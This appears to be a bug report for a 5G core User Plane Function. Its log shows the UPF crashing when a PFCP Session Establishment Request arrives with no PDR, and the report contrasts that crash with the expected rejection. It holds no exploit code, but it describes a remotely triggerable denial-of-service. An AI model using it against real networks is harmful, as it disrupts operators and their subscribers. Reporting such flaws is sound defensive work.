[2025-11-05 10:18:46.693] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-05 10:18:46.693] [upf_app] [info] Reference Point N3 Added to m_upf_interface Map
[2025-11-05 10:18:46.693] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-05 10:18:46.693] [upf_app] [info] Reference Point N6 Added to m_upf_interface Map
[2025-11-05 10:18:46.693] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-05 10:18:46.693] [upf_app] [info] Reference Point N4 Added to m_upf_interface Map
[2025-11-05 10:18:46.693] [upf_app] [debug] Link GTP XDP Section to interface eth0
[2025-11-05 10:18:46.694] [upf_app] [info] BPF program xdp_handle_uplink hooked in eth0 XDP interface
[2025-11-05 10:18:46.694] [upf_app] [debug] Link Non-GTP XDP Section to interface eth1
[2025-11-05 10:18:46.694] [upf_app] [debug] QoS enforcement is disabled in the configuration.
[2025-11-05 10:18:46.694] [upf_app] [info] BPF program xdp_handle_downlink hooked in eth1 XDP interface
[2025-11-05 10:18:46.694] [upf_app] [debug] The key is updated in the map: framed_routing_flag
[2025-11-05 10:18:56.642] [upf_app] [info] TIME-OUT event timer id 1
[2025-11-05 10:18:56.642] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 10:18:56.642] [upf_app] [info] Send NF Update to NRF
[2025-11-05 10:18:56.642] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 10:18:56.642] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:18:56.642] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:18:56.693] [upf_app] [info] Got successful response from NRF
[2025-11-05 10:18:56.693] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 10:19:06.694] [upf_app] [info] TIME-OUT event timer id 2
[2025-11-05 10:19:06.694] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 10:19:06.694] [upf_app] [info] Send NF Update to NRF
[2025-11-05 10:19:06.694] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 10:19:06.694] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:19:06.694] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:19:06.695] [upf_app] [info] Got successful response from NRF
[2025-11-05 10:19:06.695] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 10:19:16.695] [upf_app] [info] TIME-OUT event timer id 3
[2025-11-05 10:19:16.695] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 10:19:16.695] [upf_app] [info] Send NF Update to NRF
[2025-11-05 10:19:16.695] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 10:19:16.695] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:19:16.695] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:19:16.696] [upf_app] [info] Got successful response from NRF
[2025-11-05 10:19:16.696] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 10:19:26.696] [upf_app] [info] TIME-OUT event timer id 4
[2025-11-05 10:19:26.696] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 10:19:26.696] [upf_app] [info] Send NF Update to NRF
[2025-11-05 10:19:26.696] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 10:19:26.696] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:19:26.696] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:19:26.698] [upf_app] [info] Got successful response from NRF
[2025-11-05 10:19:26.698] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 10:19:36.698] [upf_app] [info] TIME-OUT event timer id 5
[2025-11-05 10:19:36.698] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 10:19:36.698] [upf_app] [info] Send NF Update to NRF
[2025-11-05 10:19:36.698] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 10:19:36.698] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:19:36.698] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:19:36.699] [upf_app] [info] Got successful response from NRF
[2025-11-05 10:19:36.699] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 10:19:46.699] [upf_app] [info] TIME-OUT event timer id 6
[2025-11-05 10:19:46.699] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 10:19:46.699] [upf_app] [info] Send NF Update to NRF
[2025-11-05 10:19:46.699] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 10:19:46.699] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:19:46.699] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:19:46.700] [upf_app] [info] Got successful response from NRF
[2025-11-05 10:19:46.700] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 10:19:47.810] [upf_n4 ] [info] handle_receive(25 bytes)
[2025-11-05 10:19:47.811] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-11-05 10:19:48.012] [upf_n4 ] [info] handle_receive(68 bytes)
[2025-11-05 10:19:48.012] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0x0
[2025-11-05 10:19:48.012] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1
[2025-11-05 10:19:48.012] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-11-05 10:19:48.012] [upf_app] [debug] sessionManager::createBpfSession() seid 0x1
[2025-11-05 10:19:48.012] [upf_app] [error] No pdr found in session seid 0x1
terminate called after throwing an instance of 'std::runtime_error'
what(): Session creation failed: No pdr found.
[2025-11-05 10:19:48.016] [upf_app] [debug] There are some programs in LINKED state
[2025-11-05 10:19:48.016] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
[2025-11-05 10:19:48.016] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-05 10:19:48.016] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-05 10:19:48.016] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-05 10:19:48.017] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-05 10:19:48.017] [system ] [info] Caught signal 11
[2025-11-05 10:19:48.017] [upf_app] [debug] Send NF De-registration to NRF
[2025-11-05 10:19:48.017] [upf_app] [info] Send NF De-register to NRF
[2025-11-05 10:19:48.017] [upf_app] [debug] Send NF De-register to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:19:48.017] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:19:48.019] [upf_app] [info] Got successful response from NRF de-registration
[2025-11-05 10:19:48.019] [common] [info] Waiting ITTI tasks closed
[2025-11-05 10:19:48.019] [asc_cmd] [info] Received terminate message
[2025-11-05 10:19:48.019] [upf_n4 ] [info] Received terminate message
[2025-11-05 10:19:48.019] [upf_app] [info] Received terminate message
terminate called recursivelyExpected Behaviour
UPF must reject the malformed Session Establishment Request and respond with an appropriate PFCP Cause (e.g., mandatory IE missing / rule creation/modification failure).
Observed Behaviour
UPF accepts the request for processing, logs No PDR found, proceeds into PDR/BPF-dependent paths, then throws std::runtime_error, crashing.